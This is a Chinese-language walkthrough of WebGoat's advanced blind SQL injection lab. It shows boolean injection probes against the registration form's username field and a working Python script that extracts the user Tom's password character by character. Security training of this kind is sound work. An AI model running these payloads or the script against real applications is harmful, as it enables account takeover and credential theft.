# [ Webgoat - 4 ] SQL Injection (advanced) - 5 ## 題目 : We now explained the basic steps involved in an SQL injection. In this assignment you will need to **combine all the things we explained** in the SQL lessons. *Goal: Can you login as Tom?* Have fun! **LOGIN**: ![](https://i.imgur.com/yQtm0ZW.png) **REGISTER**: ![](https://i.imgur.com/ihOM9Ev.png) ## 解題 : ### 題目分析 & 技巧 : 這題是Blind SQL Injection,SQL盲注,顧名思義就是看不到SQL返回的錯誤訊息,較前者更為困難。 **盲注分為兩類:** 1.<font color="blue">Boolean based SQL Injection</font> :Boolean 就是 Ture 和 False,也就是說它只會根據你的注入信息返回Ture跟False(這裡是指Ture和false的狀態,被非真的指"Ture"和"False")也就沒有了之前的錯誤信息。 2.<font color="blue">Time-based SQL Injection </font> : 返回只有true 無論輸入任何值 返回情況都會按正常情況處理。加入特定的時間函數,通過查看web頁面返回的時間差来判斷注入是否正確。 以下為函數: ``` Length()返回字串長度 Substr()擷取字串 Ascii()返回字串的Ascii碼 sleep(n): time.sleep() if(expr1,expr2,expr3): if判斷 ``` --- ### 解題步驟 : #### **1. 判斷Login與Register頁面是否能注入。** Try login: > *(1)* ' and 1 = 1 *(2)* ' and 1 = 2 *(3)* ' and '1' = '1 *(4)* ' and '1' = '2 以上四種結果都是 ==No results matched. Try Again.== 所以我先把LOGIN擺著 換==嘗試看看Register== Try Register: (先用上述LOGIN的測試方法) > Username : ' and 1 = 1 Email : a@b.c Password : a Confirm Password : a **Response** : **無反應** > Username : ' and 1 = 2 Email : a@b.c Password : a Confirm Password : a **Response** : **無反應** > Username : ' and '1' = '1 Email : a@b.c Password : a Confirm Password : a <font color="RED">**Response**</font> : ![](https://i.imgur.com/MJHwuRj.png) > Username : ' and '1' = '2 Email : a@b.c Password : a Confirm Password : a <font color="RED">**Response** :</font> ![](https://i.imgur.com/LhNAXkT.png) #### <font color="BLUE">**此時可以知道Username可以拿來利用!** </font> --- #### **2. 反覆嘗試能注入的漏洞。** 此題目較為佛心,通常password欄位不會命名為password,需要再進一步找password欄位名 1. <font color="orange">tom' and length(password) = 0 - -</font> ==( password長度不可能 = 0,故意為False狀態 )== Response : ![](https://i.imgur.com/qlCfVrb.png) 2. <font color="orange">tom' and length(password) = 23 - -</font> ==( 嘗試1~23,發現長度23時 Response 不一樣)== Response : ![](https://i.imgur.com/PCseBgm.png) **由以上兩點可知==密碼長度為23==,且 ==1.的response 為 False 狀態== , ==2.的response 為 Ture 狀態==** ``` 知道了密碼長度,接著就是使用substring輸出密碼 substring(str, positon, len) = (a~z) & substring(str, positon, len) = (A~Z) > positon : 1 ~ 23 > len : 1 ``` 1. <font color="orange">tom' and substring(password,1,1) = 't</font> Response : ![](https://i.imgur.com/EPgJD5K.png) responce 表示==此用戶註冊過==,但很明顯我==並沒有註冊過==,所以代表==注入成功== 且 ==password 第一個字母為 t== #### **3. 抓到漏洞之後,撰寫python SQL注入腳本。** Payload : ![](https://i.imgur.com/Z6PoDb9.png) --- Cookie : ![](https://i.imgur.com/3we4naZ.png) --- Responcse : ![](https://i.imgur.com/lfFu23C.png) --- ```python= import json,requests header1 = {"Cookie":"JSESSIONID=06CC56472AB574CEB227CC9AB1FFC969"} password = "" for i in range(1,24):#position : 0~23 char1 = 97 #a~z = char(97)~char(122) for j in range(26):#a~z username = "tom' and substring(password,"+str(i)+",1) = '" + chr(char1)# SQL漏洞 payload = {"username_reg":username,"email_reg":"a@a","password_reg":"a","confirm_password_reg":"a"} #PUT 封包 r = requests.put("http://localhost:8080/WebGoat/SqlInjection/challenge",data=payload,headers=header1) #PUT傳送 r1 = json.loads(r.text)["feedback"] #抓出header["feedback"]內容 if "already exists please try to register with a different username." in r1: #Responcse 判斷 Ture狀態 password+=chr(char1) print("! Ture , Password: "+password) else:#False狀態 print(" > position:"+str(i)+" ---> "+chr(char1)+" false") char1+=1#a~z ``` #### **4. 腳本輸出結果。** ![](https://i.imgur.com/cweBw9N.png) <font color="RED">Password</font> : thisisasecretfortomonly ![](https://i.imgur.com/IyDhjfy.png) ==<font color="RED">!成功登入</font>== ###### tags: `webgoat` `SQL Injection` `CTF`